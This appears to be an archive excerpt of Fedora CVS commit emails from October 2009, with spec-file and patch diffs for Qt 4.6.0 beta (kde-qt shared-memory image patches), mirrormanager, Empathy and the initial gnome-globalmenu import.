From: Dario Freddi <drf at kde.org>
Date: Mon, 28 Sep 2009 15:58:12 +0200
Subject: [PATCH 13/13] Fix QNativeImage constructor

Signed-off-by: Dario Freddi <drf at kde.org>
---
 src/gui/image/qnativeimage.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/gui/image/qnativeimage.cpp b/src/gui/image/qnativeimage.cpp
index 1c1b8f3..3390693 100644
--- a/src/gui/image/qnativeimage.cpp
+++ b/src/gui/image/qnativeimage.cpp
@@ -148,7 +148,7 @@ QImage::Format QNativeImage::systemFormat()
 #elif defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
 
 QNativeImage::QNativeImage(int width, int height, QImage::Format format,bool /* isTextBuffer */, QWidget *widget)
-    : xshmimg(0), xshmpm(0)
+    : xshmimg(0)
 {
     if (!X11->use_mitshm) {
         image = QImage(width, height, format);
-- 
1.6.5.1


0274-shm-native-image-fix.patch:
 image/qnativeimage.cpp             |   11 +----------
 image/qnativeimage_p.h             |    1 -
 kernel/qapplication_x11.cpp        |    9 +++------
 painting/qwindowsurface_raster.cpp |   13 ++++++++++---
 4 files changed, 14 insertions(+), 20 deletions(-)

Index: 0274-shm-native-image-fix.patch
===================================================================
RCS file: 0274-shm-native-image-fix.patch
diff -N 0274-shm-native-image-fix.patch
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ 0274-shm-native-image-fix.patch	27 Oct 2009 01:20:17 -0000	1.3
@@ -0,0 +1,88 @@
+diff -up qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp.me qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp
+--- qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp.me	2009-10-02 18:26:02.000000000 +0200
++++ qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp	2009-10-02 18:27:13.000000000 +0200
+@@ -144,7 +144,7 @@ QImage::Format QNativeImage::systemForma
+ #elif defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
+ 
+ QNativeImage::QNativeImage(int width, int height, QImage::Format format,bool /* isTextBuffer */, QWidget *widget)
+-    : xshmimg(0), xshmpm(0)
++    : xshmimg(0)
+ {
+     if (!X11->use_mitshm) {
+         image = QImage(width, height, format);
+@@ -195,11 +195,6 @@ QNativeImage::QNativeImage(int width, in
+             shmctl(xshminfo.shmid, IPC_RMID, 0);
+         return;
+     }
+-    xshmpm = XShmCreatePixmap(X11->display, DefaultRootWindow(X11->display), xshmimg->data,
+-                              &xshminfo, width, height, dd);
+-    if (!xshmpm) {
+-        qWarning() << "QNativeImage: Unable to create shared Pixmap.";
+-    }
+ }
+ 
+ 
+@@ -208,10 +203,6 @@ QNativeImage::~QNativeImage()
+     if (!xshmimg)
+         return;
+ 
+-    if (xshmpm) {
+-        XFreePixmap(X11->display, xshmpm);
+-        xshmpm = 0;
+-    }
+     XShmDetach(X11->display, &xshminfo);
+     xshmimg->data = 0;
+     XDestroyImage(xshmimg);
+diff -up qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h.me qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h
+--- qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h.me	2009-10-02 18:33:38.000000000 +0200
++++ qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h	2009-10-02 18:34:01.000000000 +0200
+@@ -90,7 +90,6 @@ public:
+ 
+ #elif defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
+     XImage *xshmimg;
+-    Pixmap xshmpm;
+     XShmSegmentInfo xshminfo;
+ 
+ #elif defined(Q_WS_MAC)
+diff -up qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp.me qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp
+--- qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp.me	2009-10-02 18:27:55.000000000 +0200
++++ qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp	2009-10-02 18:33:30.000000000 +0200
+@@ -1959,12 +1959,9 @@ void qt_init(QApplicationPrivate *priv, 
+             bool local = displayName.isEmpty() || displayName.lastIndexOf(QLatin1Char(':')) == 0;
+             if (local && (qgetenv("QT_X11_NO_MITSHM").toInt() == 0)) {
+                 Visual *defaultVisual = DefaultVisual(X11->display, DefaultScreen(X11->display));
+-                X11->use_mitshm = mitshm_pixmaps && ((defaultVisual->red_mask == 0xff0000
+-                                                      || defaultVisual->red_mask == 0xf800)
+-                                                     && (defaultVisual->green_mask == 0xff00
+-                                                         || defaultVisual->green_mask == 0x7e0)
+-                                                     && (defaultVisual->blue_mask == 0xff
+-                                                         || defaultVisual->blue_mask == 0x1f));
++                X11->use_mitshm = (defaultVisual->red_mask == 0xff0000 || defaultVisual->red_mask == 0xf800)
++                                   && (defaultVisual->green_mask == 0xff00 || defaultVisual->green_mask == 0x7e0)
++                                   && (defaultVisual->blue_mask == 0xff || defaultVisual->blue_mask == 0x1f);
+             }
+         }
+ #endif // QT_NO_MITSHM
+diff -up qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp.me qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp
+--- qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp.me	2009-10-02 18:34:18.000000000 +0200
++++ qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp	2009-10-02 18:35:54.000000000 +0200
+@@ -220,9 +220,16 @@ void QRasterWindowSurface::flush(QWidget
+ 
+     QRect br = rgn.boundingRect().translated(offset);
+ #ifndef QT_NO_MITSHM
+-    if (d_ptr->image->xshmpm) {
+-        XCopyArea(X11->display, d_ptr->image->xshmpm, widget->handle(), d_ptr->gc,
+-                  br.x(), br.y(), br.width(), br.height(), wbr.x(), wbr.y());
++    if (d_ptr->image->xshmimg && (br.width() * br.height() > 65536)) {
++        const QImage &src = d->image->image;
++        br = br.intersected(src.rect());
++        // Hack to make sure we satisify the PutImage() constraints in the X server,
++        // since the doShmPutImage() route currently forces a migration to system ram.
++        wbr.setX(wbr.x() - br.x());
++        br.setX(0);
++        br.setWidth(src.width());
++        XShmPutImage(X11->display, widget->handle(), d_ptr->gc, d_ptr->image->xshmimg,
++                     br.x(), br.y(), wbr.x(), wbr.y(), br.width(), br.height(), False);
+         XSync(X11->display, False);
+     } else
+ #endif


Index: kde-qt-patches.sh
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/kde-qt-patches.sh,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- kde-qt-patches.sh	15 Oct 2009 02:40:15 -0000	1.3
+++ kde-qt-patches.sh	27 Oct 2009 01:20:17 -0000	1.4
@@ -1,5 +1,5 @@
 # quick-n-dirty method to fetch patches from -patched git branch
 # unfortunately, requires an already checked-out copy of the git repo
 
-# when switching branches, use 'git fetch', 'git checkout'
-git format-patch --output-directory kde-qt-patches v4.6.0-beta..v4.6-stable-patched
+# when switching branches, use something like: git checkout --track -b remotes/origin/4.6.0-beta1-patched 
+git format-patch --output-directory kde-qt-patches v4.6.0-beta1..origin/4.6.0-beta1-patched


Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/qt.spec,v
retrieving revision 1.349
retrieving revision 1.350
diff -u -p -r1.349 -r1.350
--- qt.spec	19 Oct 2009 15:46:22 -0000	1.349
+++ qt.spec	27 Oct 2009 01:20:17 -0000	1.350
@@ -4,17 +4,17 @@
 # -no-pch disables precompiled headers, make ccache-friendly
 %define no_pch -no-pch
 
-%define _default_patch_fuzz 2
+%define _default_patch_fuzz 3 
 
 %define pre beta1
 # enable kde-qt integration/patches (currently a no-op)
-#define kde_qt 1
+%define kde_qt 1
 
 Summary: Qt toolkit
 Name:    qt
 Epoch:   1
 Version: 4.6.0
-Release: 0.2.%{pre}%{?dist}
+Release: 0.3.%{pre}%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
@@ -65,7 +65,21 @@ Patch54: qt-x11-opensource-src-4.5.1-mys
 # security patches
 
 # kde-qt git patches
-
+Patch201: 0001-This-patch-uses-object-name-as-a-fallback-for-window.patch
+Patch202: 0002-This-patch-makes-override-redirect-windows-popup-men.patch
+Patch203: 0003-This-patch-changes-QObjectPrivateVersion-thus-preven.patch
+Patch204: 0004-This-patch-adds-support-for-using-isystem-to-allow-p.patch
+Patch205: 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch
+Patch206: 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch
+Patch207: 0007-When-using-qmake-outside-qt-src-tree-it-sometimes-ge.patch
+Patch208: 0008-This-patch-makes-the-raster-graphics-system-use-shar.patch
+Patch209: 0009-Restore-a-section-of-the-file-that-got-removed-due-t.patch
+## older, but actually applies, version of patches 208, 209, 213 (double check)
+Patch274: 0274-shm-native-image-fix.patch
+Patch210: 0010-Fix-error-line-not-to-have-a-as-it-s-not-correct.patch
+Patch211: 0011-Fill-gap-of-X.org-XFree-multimedia-special-launcher-.patch
+Patch212: 0012-Add-context-to-tr-calls-in-QShortcut.patch
+Patch213: 0013-Fix-QNativeImage-constructor.patch
 
 Source10: http://gstreamer.freedesktop.org/data/images/artwork/gstreamer-logo.svg
 Source11: hi16-phonon-gstreamer.png
@@ -102,9 +116,9 @@ Source31: hi48-app-qt4-logo.png
 # if -phonon-backend, include in packaging (else it's omitted)
 %define phonon_backend_packaged 1
 %endif
-%define phonon_version 4.3.1
+%define phonon_version 4.3.50
 %define phonon_version_major 4.3
-%define phonon_release 100
+%define phonon_release 1
 %define webkit -webkit
 %define gtkstyle -gtkstyle
 %define nas -no-nas-sound
@@ -385,6 +399,22 @@ Qt libraries used for drawing widgets an
 # security fixes
 
 # kde-qt branch
+%patch201 -p1 -b .kde-qt-0001
+%patch202 -p1 -b .kde-qt-0002
+%patch203 -p1 -b .kde-qt-0003
+%patch204 -p1 -b .kde-qt-0004
+%patch205 -p1 -b .kde-qt-0005
+%patch206 -p1 -b .kde-qt-0006
+%patch207 -p1 -b .kde-qt-0007
+## needs manual love
+#patch208 -p1 -b .kde-qt-0008
+#patch209 -p1 -b .kde-qt-0009
+%patch274 -p1 -b .qt-copy-0274
+## already applied?
+#patch210 -p1 -b .kde-qt-0010
+%patch211 -p1 -b .kde-qt-0011
+%patch212 -p1 -b .kde-qt-0012
+#patch213 -p1 -b .kde-qt-0013
 
 # drop -fexceptions from $RPM_OPT_FLAGS
 RPM_OPT_FLAGS=`echo $RPM_OPT_FLAGS | sed 's|-fexceptions||g'`
@@ -750,9 +780,6 @@ fi
 %files
 %defattr(-,root,root,-)
 %doc README LGPL_EXCEPTION.txt LICENSE.LGPL LICENSE.GPL3
-%if 0%{?kde_qt:1}
-%doc README.kde-qt
-%endif
 %if "%{_qt4_libdir}" != "%{_libdir}"
 /etc/ld.so.conf.d/*
 %dir %{_qt4_libdir}
@@ -965,6 +992,9 @@ fi
 
 
 %changelog
+* Mon Oct 26 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.6.0-0.3.beta1
+- kde-qt patches (as of 20091026)
+
 * Fri Oct 16 2009 Than Ngo <than at redhat.com> - 4.6.0-0.2.beta1 
 - subpackage sqlite plugin, add Require on qt-sqlite in qt-x11
   for assistant



From mdomsch at fedoraproject.org  Tue Oct 27 01:27:06 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Tue, 27 Oct 2009 01:27:06 +0000 (UTC)
Subject: rpms/mirrormanager/devel mirrormanager.spec,1.10,1.11
Message-ID: <20091027012706.9D4CE11C0264@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/mirrormanager/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14770

Modified Files:
	mirrormanager.spec 
Log Message:
add confirm-delete patch, bump release


Index: mirrormanager.spec
===================================================================
RCS file: /cvs/extras/rpms/mirrormanager/devel/mirrormanager.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- mirrormanager.spec	26 Oct 2009 15:41:31 -0000	1.10
+++ mirrormanager.spec	27 Oct 2009 01:27:06 -0000	1.11
@@ -1,6 +1,6 @@
 Name:           mirrormanager
 Version:        1.3.3
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Fedora mirror management system
 BuildArch:      noarch
 
@@ -8,6 +8,7 @@ Group:          Applications/Internet
 License:        MIT and GPLv2
 URL:            http://fedorahosted.org/mirrormanager
 Source0:        https://fedorahosted.org/releases/m/i/%{name}/%{name}-%{version}.tar.bz2
+Patch0:         mirrormanager-1.3.3-confirm-delete.patch
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildRequires:  python
 Requires:       TurboGears, python-IPy, python-GeoIP, wget, yum, psmisc, python-dns, python-fedora >= 0.3.14, py-radix, mod_wsgi
@@ -37,6 +38,7 @@ mirror.
 
 %prep
 %setup -q
+%patch0 -p1
 
 %build
 
@@ -84,6 +86,9 @@ exit 0
 
 
 %changelog
+* Mon Oct 26 2009 Matt Domsch <mdomsch at fedoraproject.org> - 1.3.3-2
+- add patch to fix confirm delete from webui
+
 * Mon Oct 26 2009 Matt Domsch <mdomsch at fedoraproject.org> - 1.3.3-1
 - initial setup patches from BJ Dierkes
   - simpler mirrormanager.initial, README.rpm_setup, prod.cfg



From mdomsch at fedoraproject.org  Tue Oct 27 01:27:29 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Tue, 27 Oct 2009 01:27:29 +0000 (UTC)
Subject: rpms/mirrormanager/devel mirrormanager-1.3.3-confirm-delete.patch, 
	NONE, 1.1
Message-ID: <20091027012729.1384011C0264@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/mirrormanager/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14882

Added Files:
	mirrormanager-1.3.3-confirm-delete.patch 
Log Message:
really add patch

mirrormanager-1.3.3-confirm-delete.patch:
 controllers.py |    7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE mirrormanager-1.3.3-confirm-delete.patch ---
>From 74e1fdc2ed6d7c92234cb6179d317ef7a5934beb Mon Sep 17 00:00:00 2001
From: BJ Dierkes <wdierkes at rackspace.com>
Date: Mon, 26 Oct 2009 20:08:40 -0500
Subject: [PATCH] Fix confirm delete method in webui.

---
 server/mirrormanager/controllers.py |    6 +++---
 1 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/server/mirrormanager/controllers.py b/server/mirrormanager/controllers.py
index f811c1f..3bf9560 100644
--- a/server/mirrormanager/controllers.py
+++ b/server/mirrormanager/controllers.py
@@ -844,10 +844,10 @@ class SimpleDbObjectController(controllers.Controller, identity.SecureResource,
             obj.destroySelf()
             turbogears.redirect("/adminview")
         else:
-            self.form = confirm_delete_form
-            self.title = "Item Deletion"
+            form = confirm_delete_form
+            title = "Item Deletion"
             submit_action = "/%s/%s/delete?confirmed=1" % (self.url_prefix, obj.id)
-            return dict(form=self.form, values=obj, action=submit_action, title=self.title)
+            return dict(form=form, values=obj, action=submit_action, title=title)
 
 
 #########################################################3
-- 
1.6.0.6




From bpepple at fedoraproject.org  Tue Oct 27 01:42:19 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Tue, 27 Oct 2009 01:42:19 +0000 (UTC)
Subject: rpms/empathy/devel .cvsignore, 1.41, 1.42 empathy.spec, 1.81,
	1.82 sources, 1.41, 1.42
Message-ID: <20091027014219.3C96611C02C6@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/empathy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21635

Modified Files:
	.cvsignore empathy.spec sources 
Log Message:
* Mon Oct 26 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.1.1-2
- Disable panel applets, since they are unmaintained and being dropped from Empathy.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/devel/.cvsignore,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- .cvsignore	19 Oct 2009 22:37:21 -0000	1.41
+++ .cvsignore	27 Oct 2009 01:42:18 -0000	1.42
@@ -1 +1 @@
-empathy-2.28.1.tar.bz2
+empathy-2.28.1.1.tar.bz2


Index: empathy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/devel/empathy.spec,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- empathy.spec	19 Oct 2009 22:37:21 -0000	1.81
+++ empathy.spec	27 Oct 2009 01:42:18 -0000	1.82
@@ -13,8 +13,8 @@
 %global libchamplain_version    0.4
 
 Name:		empathy
-Version:	2.28.1
-Release:	1%{?dist}
+Version:	2.28.1.1
+Release:	2%{?dist}
 Summary:	Instant Messaging Client for GNOME
 
 Group:		Applications/Communications
@@ -33,6 +33,7 @@ Patch1:		%{name}-broken-pkgconfig.patch
 # http://bugzilla.gnome.org/show_bug.cgi?id=592853
 Patch3:		presence-icons.patch
 Patch5:		%{name}-broken-nm.patch
+
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	enchant-devel >= %{enchant_version}
@@ -43,7 +44,6 @@ BuildRequires:	GConf2-devel
 BuildRequires:	gettext
 BuildRequires:	glib2-devel >= %{glib2_min_version}
 BuildRequires:	gnome-doc-utils >= 0.17.3
-BuildRequires:	gnome-panel-devel
 BuildRequires:	libcanberra-devel >= %{libcanberra_version}
 BuildRequires:	webkitgtk-devel >= %{webkit_version}
 BuildRequires:	gtk2-devel >= %{gtk2_min_version}
@@ -55,6 +55,7 @@ BuildRequires:	telepathy-glib-devel >= %
 BuildRequires:	telepathy-farsight-devel
 BuildRequires:	libnotify-devel >= %{libnotify_version}
 BuildRequires:	NetworkManager-glib-devel >= %{network_manager_version}
+BuildRequires:	gnome-keyring-devel
 BuildRequires:  libchamplain-gtk-devel >= %{libchamplain_version}
 BuildRequires:  clutter-gtk-devel
 BuildRequires:  geoclue-devel >= 0.11
@@ -144,7 +145,7 @@ rm data/empathy.schemas
 %build
 ## GCC complains about some unused functions, so we forcibly show those as
 ## simple warnings instead of build-halting errors.
-%configure --with-compile-warnings=yes --disable-static --enable-map=yes --enable-location=yes
+%configure --with-compile-warnings=yes --disable-static --enable-map=yes --enable-location=yes --enable-megaphone=no --enable-nothere=no
 ## RPATHs are yucky.
 sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
 sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
@@ -173,7 +174,6 @@ rm -rf %{buildroot}
 if [ "$1" -gt 1 ]; then
 	export GCONF_CONFIG_SOURCE=$(gconftool-2 --get-default-source)
 	gconftool-2 --makefile-uninstall-rule	\
-		%{_sysconfdir}/gconf/schemas/GNOME_Megaphone_Applet.schemas	\
 		%{_sysconfdir}/gconf/schemas/%{name}.schemas > /dev/null ||:
 fi
 
@@ -181,7 +181,6 @@ fi
 %post
 export GCONF_CONFIG_SOURCE=$(gconftool-2 --get-default-source)
 gconftool-2 --makefile-install-rule	\
-	%{_sysconfdir}/gconf/schemas/GNOME_Megaphone_Applet.schemas	\
 	%{_sysconfdir}/gconf/schemas/%{name}.schemas > /dev/null ||:
 scrollkeeper-update -q -o %{_datadir}/omf/%{name} ||:
 touch --no-create %{_datadir}/icons/hicolor ||:
@@ -194,7 +193,6 @@ touch --no-create %{_datadir}/icons/hico
 if [ "$1" -eq 0 ]; then
 	export GCONF_CONFIG_SOURCE=$(gconftool-2 --get-default-source)
 	gconftool-2 --makefile-uninstall-rule	\
-		%{_sysconfdir}/gconf/schemas/GNOME_Megaphone_Applet.schemas	\
 		%{_sysconfdir}/gconf/schemas/%{name}.schemas > /dev/null ||:
 fi
 
@@ -213,7 +211,6 @@ fi
 %defattr(-,root,root,-)
 %doc AUTHORS COPYING README README.ConnectionManagers NEWS
 %{_sysconfdir}/gconf/schemas/%{name}.schemas
-%{_sysconfdir}/gconf/schemas/GNOME_Megaphone_Applet.schemas
 %{_bindir}/empathy
 %{_bindir}/empathy-logs
 %{_datadir}/empathy/
@@ -222,10 +219,6 @@ fi
 %{_datadir}/icons/hicolor/*/apps/%{name}*
 %{_datadir}/dbus-1/services/org.freedesktop.Telepathy.Client.Empathy.service
 %{_datadir}/telepathy/clients/Empathy.client
-%{_libexecdir}/megaphone-applet
-%{_libexecdir}/nothere-applet
-%{_libdir}/bonobo/servers/GNOME_Megaphone_Applet.server
-%{_libdir}/bonobo/servers/GNOME_NotHere_Applet.server
 %{_mandir}/man1/empathy*.1.gz
 
 %files	libs
@@ -244,8 +237,25 @@ fi
 %{python_sitearch}/empathy*.so
 
 %changelog
+* Mon Oct 26 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.1.1-2
+- Disable panel applets, since they are unmaintained and being dropped from Empathy.
+
+* Mon Oct 26 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.1.1-1
+- Update to 2.28.1.1.
+- See http://download.gnome.org/sources/empathy/2.28/empathy-2.28.1.1.news
+
+* Mon Oct 26 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-3
+- Another upstream crash fix
+
+* Sun Oct 25 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-2
+- Include a number of crash fixes from the stable branch
+
 * Mon Oct 19 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.1-1
 - Update to 2.28.1.
+- Drop no-settings patch.  Fixed upstream.
+
+* Sat Oct 17 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0.1-3
+- Include an upstream fix for a possible crash in the accounts dialog
 
 * Tue Oct 13 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.0.1-2
 - Require tp-idle and tp-butterfly.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/devel/sources,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- sources	19 Oct 2009 22:37:22 -0000	1.41
+++ sources	27 Oct 2009 01:42:18 -0000	1.42
@@ -1 +1 @@
-021a05da920055d514cc51c4a538377f  empathy-2.28.1.tar.bz2
+e24600feffce66c3b494056f15efa653  empathy-2.28.1.1.tar.bz2



From fengyu at fedoraproject.org  Tue Oct 27 01:54:54 2009
From: fengyu at fedoraproject.org (Yu Feng)
Date: Tue, 27 Oct 2009 01:54:54 +0000 (UTC)
Subject: rpms/gnome-globalmenu/devel gnome-globalmenu.spec, NONE,
	1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091027015454.42A9B11C0264@cvs1.fedora.phx.redhat.com>

Author: fengyu

Update of /cvs/pkgs/rpms/gnome-globalmenu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26811/devel

Modified Files:
	.cvsignore sources 
Added Files:
	gnome-globalmenu.spec import.log 
Log Message:
Initial import of the local 0.7.7_1 srpm to fedora-cvs



--- NEW FILE gnome-globalmenu.spec ---
%global base_version 0.7.7_1
%global pkgdocdir %{_docdir}/%{name}-%{version}
#%define alphatag 20080418svn2511

Name:		gnome-globalmenu
Version:	%{base_version}
Release:	1%{?dist}
Summary:	Global Menu for GNOME
Group:		User Interface/Desktops
License:	GPLv2 and LGPLv2
URL:		http://code.google.com/p/gnome2-globalmenu/
Source0:	http://gnome2-globalmenu.googlecode.com/files/gnome-globalmenu-%{base_version}.tar.bz2
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXXX)
BuildRequires: libwnck-devel
BuildRequires: intltool
BuildRequires: libXres-devel
BuildRequires: gnome-panel-devel
BuildRequires: libnotify-devel
BuildRequires: gnome-menus-devel

%if 0%{?fedora}
BuildRequires: xfce4-panel-devel
%endif

%description
GNOME Global Menu is a centralized menu bar for all windows on a particular 
screen/session. This package extends GTK and gnome panel so that Global Menu 
can be enabled on all GTK applications.
The Gtk Plugin Module of Global Menu adds global menu feature to any GTK 
applications on the fly without the need of modifying the source code.
gnome-applet-globalmenu or xfce-globalmenu-plugin should also be installed
depending on the desktop environment.

%package		common
Summary:		Shared configurations and translations of Global Menu packages
Group:			User Interface/Desktops
%description	common
GNOME Global Menu is a centralized menu bar for all windows on a particular 
screen/session. The Gtk Plugin Module of Global Menu adds global menu feature to
any GTK applications on the fly without the need of modifying the source code.
This package contains shared data and libraries of various Global Menu 
packages. gnome-applet-globalmenu or xfce-globalmenu-plugin should also be 
installed depending on the desktop environment.

%package		devel
Summary:		Header files for writing Global Menu applets
Group:			User Interface/Desktops
Requires:		pkgconfig
Requires:		gnome-globalmenu-common = %{version}-%{release}
%description	devel
This package contains header files for writing Global Menu applet in Gtk.

%package -n 	gnome-applet-globalmenu
Summary:		GNOME panel applet of Global Menu
Group:			User Interface/Desktops
Requires:		gnome-panel
Requires:		gnome-globalmenu-common = %{version}-%{release}
Provides:		gnome-globalmenu = %{version}-%{release}
Requires(pre): GConf2
Requires(post): GConf2
Requires(preun): GConf2
%description -n	gnome-applet-globalmenu
The GNOME panel applet of Global Menu is a representation of Global Menu 
with GTK widgets. The applet can be inserted to the default top panel to 
provide access to the Global Menu of the applications. 
The applet also provides limited window management functionalities. 
Please refer to /usr/share/doc/gnome-globalmenu-%{version}/README.GNOME 
for post-installation configurations.

%if 0%{?fedora}
%package -n		xfce4-globalmenu-plugin
Summary:		XFCE panel applet of Global Menu
Group:			User Interface/Desktops
Requires:		xfce4-panel
Requires:		gnome-globalmenu-common = %{version}-%{release}
%description -n	xfce4-globalmenu-plugin
The XFCE panel applet of Global Menu is a representation of Global Menu 
with GTK widgets. The applet can be inserted to the default top panel 
to provide access to the Global Menu of the applications. 
Please refer to /usr/share/doc/gnome-globalmenu-%{version}/README.XFCE 
for post installation configuations.
%endif

%prep
%setup -q -n %{name}-%{base_version}


%build
%configure --disable-schemas-install \
		--disable-static \
		--disable-tests \
		--with-gnome-panel \
		--docdir=%{pkgdocdir} \
%if 0%{?fedora}
		--with-xfce4-panel
%else
		--without-xfce4-panel
%endif
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT INSTALL="install -p"
%find_lang %{name}
rm -f $RPM_BUILD_ROOT/%{_libdir}/gtk-2.0/modules/libglobalmenu-gnome.la
rm -f $RPM_BUILD_ROOT/%{_libdir}/libgnomenu.la
rm -f $RPM_BUILD_ROOT/%{pkgdocdir}/INSTALL

%clean
rm -rf $RPM_BUILD_ROOT

%pre -n gnome-applet-globalmenu
if [ "$1" -gt 1 ] ; then
	export GCONF_CONFIG_SOURCE=`gconftool-2 --get-default-source`
	gconftool-2 --makefile-uninstall-rule \
	%{_sysconfdir}/gconf/schemas/%{name}.schemas >/dev/null || :
fi

%post -n gnome-applet-globalmenu
export GCONF_CONFIG_SOURCE=`gconftool-2 --get-default-source`
gconftool-2 --makefile-install-rule \
		%{_sysconfdir}/gconf/schemas/%{name}.schemas > /dev/null || :

%preun -n gnome-applet-globalmenu
if [ "$1" -eq 0 ] ; then
export GCONF_CONFIG_SOURCE=`gconftool-2 --get-default-source`
gconftool-2 --makefile-uninstall-rule \
		%{_sysconfdir}/gconf/schemas/%{name}.schemas > /dev/null || :
fi

%post common -p /sbin/ldconfig

%postun common -p /sbin/ldconfig

%files common -f %{name}.lang
%defattr(-,root,root,-)
%doc %{pkgdocdir}/*
%{_datadir}/pixmaps/globalmenu.png
%{_libdir}/libgnomenu-%{base_version}.so.2
%{_libdir}/libgnomenu-%{base_version}.so.2.0.0
%{_mandir}/man1/gnome-globalmenu.1.gz
%{_libdir}/gtk-2.0/modules/libglobalmenu-gnome.so
%{_libdir}/gtk-2.0/modules/libglobalmenu-gnome-%{base_version}.so

%files devel
%defattr(-,root,root,-)
%{_includedir}/libgnomenu/*.h
%{_libdir}/pkgconfig/libgnomenu.pc
%{_libdir}/libgnomenu.so
%dir %{_includedir}/libgnomenu

%files -n gnome-applet-globalmenu
%defattr(-,root,root,-)
%{_libdir}/bonobo/servers/GlobalMenu_PanelApplet.server
%{_libexecdir}/GlobalMenu.PanelApplet
%{_sysconfdir}/gconf/schemas/gnome-globalmenu.schemas

%if 0%{?fedora}
%files -n xfce4-globalmenu-plugin
%defattr(-,root,root,-)
%{_datadir}/xfce4/panel-plugins/GlobalMenu_XFCEPlugin.desktop
%{_libexecdir}/xfce4/panel-plugins/GlobalMenu.XFCEPlugin
%{_datadir}/pixmaps/globalmenu-xfce.png
%endif

%changelog
* Sat Jun 27 2009 Yu Feng <rainwoodman at gmail.com> - 0.7.6-1
- Update to 0.7.6

* Mon May 25 2009 Christoph Wickert <cwickert at fedorakrojekt.org> - 0.7.5-3
- Fix conditionals
- Rename base package to -common
- Let gnome-applet-globalmenu provide gnome-globalmenu for 
- Move GConf schema to gnome-applet package
- Fix script dependencies

* Tue Apr 18 2009 Feng Yu <rainwoodman at gmail.com> - 0.7.5-2
- Install documentation into the correct location

* Tue Apr 18 2009 Feng Yu <rainwoodman at gmail.com> - 0.7.5-1
- Update to 0.7.5

* Tue Apr 18 2009 Feng Yu <rainwoodman at gmail.com> - 0.7.5-0.1.20080418svn2507
- Bump to pre0.7.5

* Tue Apr 7 2009 Feng Yu <rainwoodman at gmail.com> - 0.7.4-4.20080407svn2489
- Bump to a pre0.7.5 svn snapshot.
- Replace rhel5 with rhel (suggested by Christoph Wickert)
- Added README.XFCE README.GNOME COPYING
- Correct the license
- initial support of Alt-<Key>s

